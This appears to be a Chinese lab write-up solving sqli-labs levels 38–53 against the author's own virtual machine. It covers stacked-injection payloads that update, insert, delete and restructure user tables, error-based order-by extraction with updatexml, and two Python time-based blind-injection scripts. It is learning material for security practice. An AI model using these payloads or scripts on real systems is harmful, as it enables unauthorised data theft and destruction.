首页 > 数据库 >【sqli-labs】 page-3 Less 38-53

【sqli-labs】 page-3 Less 38-53

时间:2023-12-08 22:23:43浏览次数:46  
标签:username index 38 Less 53 dic table id

sqli-labs 1-65

【sqli-labs】 page-1 Less 1-22

【sqli-labs】 page-2 Less 23-37

【sqli-labs】 page-3 Less 38-53

【sqli-labs】 page-4 Less 54-65

堆叠注入

核心函数: mysqli_multi_query 函数

概念:执行多条语句(增删查改)

# 增删改查语法
# 增
insert into [表名](column1,column2,...) values (value1,value2,...)
# 删
delete from [表名] where 条件
# 查
select column1,column2,... from [表名] where 条件
# 改
# 修改值
update [表名] set column1=value1,column2=value2,... where 条件
# 修改字段
alter table [表名] change [旧字段名] [新字段名] [字段类型]	

# 多表联立操作
# 多表联立更新
update [表1] inner join [表2] set column1=value1,column2=value2,... where 表1.字段=表2.字段

由于 sqlilabs 关于堆叠注入没有明确的目标,不知道干啥。因此这里制订一下目标,加点难度

如果你也没啥目的,不如参考下列任务,前面 1-37 关都是查找操作,下面修改操作居多

关卡 任务
Less-38 修改 id 为 1 的密码
Less-39 增加 id 为 21 的账户为 qwerty 密码为 123456
Less-40 删除 id 为 1 的用户
Less-41 增加 id 为 1 的用户,账号密码与之前不同
Less-42 页面显示的信息是 username、password,改为 id、password
Less-43 将 id 为 1 和 21 的用户信息对调
Less-44 将所有用户的账户、密码对调
Less-45 将原 id 在 2-10 之间(包括2和10)的 id 全部改成 9420

如果操作错误导致数据库中数据全错怎么办,还记得做第一题之前的初始化数据库的操作吗

Less-38

任务:修改 id 为 1 的密码

有报错、有回显

我们知道 username,password 存储在 security 库的 users 表

修改密码

# 修改 id=1 的密码
?id=1';update users set password=1234 where id=1;--+
?id=1

需要执行两次,因为代码执行顺序:先查询 id=1 的信息,再修改

数据库

Less-39

任务:增加 id 为 21 的账户为 qwerty 密码为 123456

有报错、有回显

# 增加用户
?id=1;insert users values(21,'qwerty',123456) --+
?id=21

数据库

Less-40

任务:删除 id 为 1 的用户

有回显、无报错

# 删除 id 为 1 的用户
?id=1'); delete from users where id=1;--+

数据库

Less-41

任务:增加 id 为 1 的用户,账号密码与之前不同

# 增加
?id=2;insert into users values(1,'information','schema') --+
?id=1

数据库

Less-42

任务:页面显示的信息是 username、password,改为 id、password

有报错信息

首先,登录正确账号

username:admin
password:admin		
# 正确登录

确定正确账号密码后退出

id 与 username 交换位置(提交一次就行,提交两次的话 username 会全部变成 0,原因:一个是 int,一个是 char)

username:admin
password:admin';alter table users change id temp int(2);alter table users change username id varchar(20);alter table users change temp username int(2);#

退出,再次登录

username:admin
password:admin
# 错误

登录失败说明id 与 username 交换位置成功

username:1
password:schema
# 正确登录

看看数据库,id 和 username 对调

Less-43

任务:将 id 为 1 和 21 的用户信息对调

有报错

经过 Less-42 我们的正确密码变成,验证一下

username:1
password:schema
# 正确登录

将 id 为 1 和 id 为 21 的用户信息对调

username:1
password:schema');update users set username=22 where username=1;update users set username=1 where username=21;update users set username=21 where username=22; #

再次登录,错误,说明对调成功

username:1
password:schema
# 错误

对调后的账户密码

username:1
password:123456
# 正确登录

数据库,1 和 21 对调

Less-44

任务:将所有用户的账户、密码对调

无回显

经过 Less-43 我们的正确密码变成,验证一下

username:1
password:123456
# 正确登录

将所有用户的账户、密码对调

username:1
password:123456';alter table users change password passwd varchar(20);alter table users change username password int(4);alter table users change passwd username varchar(20);#

对调后的账户密码

username:1
password:123456
# 错误

对调后的账户密码

username:123456
password:1
# 正确登录

数据库

Less-45

任务:将原 id 在 2-10 之间(包括2和10)的 id 全部改成 9420

经过 Less-44 我们的正确密码变成,验证一下

username:123456
password:1
# 正确登录

将原 id 在 2-10 之间(包括2和10)的 id 全部改成 9420

username:123456
password:1');update users as table_1 inner join (select * from users limit 1,9) as table_2 set table_1.id = 9420 where table_1.id=table_2.id;#

再次登录

username:123456
password:1
# 正确登录,似乎没有变化,我们换一个账号登录
# 还记得我们的 admin 吗,原 admin 账户的账号是 admin,密码是 admin, id 是 8
# 现在用 admin 登录
username:admin
password:8

可以看见,被修改为 9420

数据库

堆叠注入到此结束,你绕晕了吗

order by 注入

users 表直接显示,这样没意思,security 库中有 4 个表,其中 users、emails 是有数据的,我们尝试获取 emails 的数据

Less-46

注意,参数变成了 sort,不在是 id

http://192.168.148.131:8080/Less-46/?sort=1

?sort=if(2<1,username,password)		# 可以看见顺序变了

payload

# 库
?sort=1 and updatexml(1,concat(1,(database())),1)

# 表
?sort=1 and updatexml(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema=database())),1)

# 字段
?sort=1 and updatexml(1,concat(1,(select group_concat(column_name) from information_schema.columns where table_name='emails')),1)

# 值,由于一次显示不完,使用 limit 一个个显示
?sort=1 and updatexml(1,concat(1,(select email_id from emails limit 0,1)),1)

Less-47

'闭合,有报错

Less-48

?sort=if(2>1,sleep(1),0)	# 13 条数据,13 秒延迟

时间盲注脚本(技术有限,只能获取某张表的数据,无法做到获取整个库的数据)

import requests
import string
import time
# sqli-lab 在虚拟机上运行,192.168.148.131:8080 是我虚拟机 IP
url = 'http://192.168.148.131:8080/Less-48/'		# 改成你的 IP

# sql 特性:大小写不敏感
letter = string.ascii_lowercase + string.punctuation + string.digits+string.ascii_uppercase + '1234567'
index,key_index = 1,0	# 初始位

dic = {'database':['',True,{'name':'database()','From':'','where':''}],
       'table':['',True,{'name':"table_name",'From':"from information_schema.tables",'where':"where table_schema=database()"}],
       'column':['',True,{'name':"column_name",'From':"from information_schema.columns",'where':"where table_name='{table}'"}],
       'id':['',True,{'name':"id",'From':"from {table}",'where':''}],
       'email_id':['',True,{'name':"email_id",'From':"from {table}",'where':''}]
       }

keys = list(dic.keys())


def payload(name,From,where,index,i):
    if i == '+':i = '%2B'
    data = f"?sort=if(substr((select group_concat({name}) {From} {where}),{index},1)='{i}',sleep(0.02),0)"
    return data


while True:
    mark = True		# 标记,防止死循环
    num = 0
    # 获取第一张表的表名
    if dic['table'][1] == False:table = dic['table'][0].split(',')[0]

    # 代表 库、表、字段、值 全部获取完毕,打印输出
    if key_index == 5:
        database = dic['database'][0]
        print('\r',end='')
        for i in dic:
            print(f'[+] {f"your {i}" if i=="database" else f"all {i} in your {database} database" if i=="table"  else f"all {i} in your {table} table"}:{dic[i][0]}')
        exit()

    # 组装 payload
    for i in letter:
        num += 1
        if dic[keys[key_index]][2]:
            # 替换 payload 中的表名
            end = list(dic[keys[key_index]][2].keys())
            if '{table}' in dic[keys[key_index]][2][end[-1]]:
                dic[keys[key_index]][2][end[-1]] = dic[keys[key_index]][2][end[-1]].replace('{table}',table)
            elif '{table}' in dic[keys[key_index]][2][end[-2]]:
                dic[keys[key_index]][2][end[-2]] = dic[keys[key_index]][2][end[-2]].replace('{table}', table)
            # 获取 payload
            data = payload(*dic[keys[key_index]][2].values(),index=index,i=i)

        time_start = time.perf_counter()
        respond = requests.get(url+data)    # 获取页面代码
        respond = respond.text  # 解析成字符串类型
        time_end = time.perf_counter()
        # exit(data)

        if time_end -  time_start>0.2:
            dic[keys[key_index]][0] += i
            print('\r',dic[keys[key_index]][0],end = '')
            index += 1  # 下一位
            mark = False    # 防止死循环
            break

        if num>95:  #
            dic[keys[key_index]][1] = False
            index,num,mark = 1,0,False       # 重置
            key_index += 1
            break

    if mark:exit('错误')	# 防止死循环

Less-49

无报错

?sort=1'and sleep(1) and 1='1	# 13 条数据,13 秒延迟

时间盲注脚本(Less-48 改)

import requests
import string
import time
# sqli-lab 在虚拟机上运行,192.168.148.131:8080 是我虚拟机 IP
url = 'http://192.168.148.131:8080/Less-49/'		# 改成你的 IP

# sql 特性:大小写不敏感
letter = string.ascii_lowercase + string.punctuation + string.digits+string.ascii_uppercase + '1234567'
index,key_index = 1,0	# 初始位

dic = {'database':['',True,{'name':'database()','From':'','where':''}],
       'table':['',True,{'name':"table_name",'From':"from information_schema.tables",'where':"where table_schema=database()"}],
       'column':['',True,{'name':"column_name",'From':"from information_schema.columns",'where':"where table_name='{table}'"}],
       'id':['',True,{'name':"id",'From':"from {table}",'where':''}],
       'email_id':['',True,{'name':"email_id",'From':"from {table}",'where':''}]
       }

keys = list(dic.keys())


def payload(name,From,where,index,i):
    if i == '+':i = '%2B'
    data = f"?sort=1'and if(substr((select group_concat({name}) {From} {where}),{index},1)='{i}',sleep(0.02),0) and 1='1"
    return data


while True:
    mark = True		# 标记,防止死循环
    num = 0
    # 获取第一张表的表名
    if dic['table'][1] == False:table = dic['table'][0].split(',')[0]

    # 代表 库、表、字段、值 全部获取完毕,打印输出
    if key_index == 5:
        database = dic['database'][0]
        print('\r',end='')
        for i in dic:
            print(f'[+] {f"your {i}" if i=="database" else f"all {i} in your {database} database" if i=="table"  else f"all {i} in your {table} table"}:{dic[i][0]}')
        exit()

    # 组装 payload
    for i in letter:
        num += 1
        if dic[keys[key_index]][2]:
            # 替换 payload 中的表名
            end = list(dic[keys[key_index]][2].keys())
            if '{table}' in dic[keys[key_index]][2][end[-1]]:
                dic[keys[key_index]][2][end[-1]] = dic[keys[key_index]][2][end[-1]].replace('{table}',table)
            elif '{table}' in dic[keys[key_index]][2][end[-2]]:
                dic[keys[key_index]][2][end[-2]] = dic[keys[key_index]][2][end[-2]].replace('{table}', table)
            # 获取 payload
            data = payload(*dic[keys[key_index]][2].values(),index=index,i=i)

        time_start = time.perf_counter()
        respond = requests.get(url+data)    # 获取页面代码
        respond = respond.text  # 解析成字符串类型
        time_end = time.perf_counter()
        # exit(data)

        if time_end -  time_start>0.2:
            dic[keys[key_index]][0] += i
            print('\r',dic[keys[key_index]][0],end = '')
            index += 1  # 下一位
            mark = False    # 防止死循环
            break

        if num>95:  #
            dic[keys[key_index]][1] = False
            index,num,mark = 1,0,False       # 重置
            key_index += 1
            break

    if mark:exit('错误')	# 防止死循环

Less-50

同 Less-46

Less-51

'闭合,同 Less-47

Less-52

同 Less-48

Less-53

同 Less-49

标签:username,index,38,Less,53,dic,table,id
From: https://www.cnblogs.com/IFS-/p/17889105.html

相关文章

  • 【sqli-labs】 page-2 Less 23-37
    sqli-labs1-65【sqli-labs】page-1Less1-22【sqli-labs】page-2Less23-37【sqli-labs】page-3Less38-53【sqli-labs】page-4Less54-65WAF绕过Less-23漏洞验证http://192.168.124.16:8080/Less-23/?id=1' #错误http://192.168.124.16:8080/Less-23/?id=......
  • CVE-2023-38831 WinRAR漏洞复现
    背景2023年10月,在研究DarkMe恶意软件的传播时,Group-IB威胁情报单位在WinRAR处理ZIP文件格式时遇到了一个以前未知的漏洞。通过利用该程序中的漏洞,威胁行为者能够制作ZIP存档,作为各种恶意软件系列的载体。武器化的ZIP档案在交易论坛上分发。一旦提取并执行,该恶意软件允许......
  • P5314 [Ynoi2011] ODT
    好题,牛牛的一个套路。先树剖一下,我们可以很简单的用树状数组维护每个点的真实值。对于每个点只维护所有轻儿子的信息,对于每次询问的时候暴力加入当前点,重儿子以及父亲的信息,查询第\(k\)大,再删除信息即可。考虑链修改的影响。因为只维护的是轻儿子的信息,那么只有链上的所有轻......
  • 【luogu题解】U388218 数数
    数数题目描述给定n个不超过1.5×10⁹的自然数。求这些自然数各自出现的次数,并按照自然数从小到大的顺序输出统计结果。输入格式输入的第1行是整数n,表示自然数的个数。第2行到第n+1行每行一个自然数。输出格式输出文件包含m行(m为n个自然数中不相同数的个......
  • CC2530F256RHAR和zigbee的关系 芯片特点介绍和优势
    ZigBee新一代SOC芯片CC2530是真正的片上系统解决方案,支持IEEE802.15.4标准/ZigBee/ZigBeeRF4CE和能源的应用。拥有庞大的快闪记忆体多达256个字节,CC2530是理想ZigBee专业应用。支持新Remoti的ZigBeeRF4CE,这是业界首款符合ZigBeeRF4CE兼容的协议栈,和更大内存大小将允许芯片无线下......
  • UVA753 A Plug for UNIX 题解
    LinkUVA753APlugforUNIXQuestion有\(n\)个插座,\(m\)个设备和\(k\)种转换器,每种转换器有无限多个。转换器可以插着转换器用,每个插座或插头的类型可能不同,求最少剩多少个不匹配的设备Sulotion先考虑转换器连用的情况,用边表\(G[x][y]\)表示\(x\)类型可以转换成\(y......
  • 构建第一个事件驱动型 Serverless 应用
    我认为,无服务器技术真的有助于最大限度节省应用开发和部署的时间,并且无服务器技术用可控的成本,实现了我的那些有趣的想法。在我20多年IT从业经历中,一直专注于IT基础架构的设计和搭建,并没有很多编程的经验。入职亚马逊云科技之后,我成为一名开发者布道师,为了了解和传播亚马逊......
  • Acwing 5367. 不合群数
    题面:如果一个正整数无法被 \([2,a]\) 范围内的任何整数整除,则称其为不合群数。请你计算并输出 \([2,b]\) 范围内的最大不合群数。提示:\(10\) 亿内的最大质数是 \(999999937\),且相邻质数之间的差值均不超过 \(300\)原题链接:5367.不合群数-AcWing根据给出的提示判......
  • P3385 【模板】负环
    不能用dijkstra算法的原因(个人拙见):#include<bits/stdc++.h>usingnamespacestd;intn,m;struct{inthead;intto;intval;}edge[10004];intlen=0;intlatest[2005]={0};voidadd(intu,intv,intw){edge[++len].to=v;edge[len].val=w;......
  • 力扣1038. 从二叉搜索树到更大和树(dfs)
    给定一个二叉搜索树 root (BST),请将它的每个节点的值替换成树中大于或者等于该节点值的所有节点值之和。提醒一下, 二叉搜索树 满足下列约束条件:节点的左子树仅包含键 小于 节点键的节点。节点的右子树仅包含键 大于 节点键的节点。左右子树也必须是二叉搜索树。 ......